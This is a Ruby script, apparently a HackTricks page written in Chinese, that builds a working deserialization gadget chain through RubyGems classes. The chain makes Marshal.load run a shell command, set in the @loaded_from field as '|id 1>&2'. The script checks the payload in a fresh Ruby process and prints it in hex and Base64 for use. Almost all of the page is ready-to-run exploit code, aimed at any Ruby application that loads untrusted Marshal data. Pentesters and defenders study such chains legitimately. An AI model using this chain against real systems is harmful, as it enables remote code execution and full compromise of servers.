stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

其他RCE链以利用Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

从零开始学习AWS黑客技术，成为专家 htARTE (HackTricks AWS Red Team Expert)!

支持HackTricks的其他方式:

上一页Dependency Confusion下一页NodeJS - __proto__ & prototype Pollution

最后更新于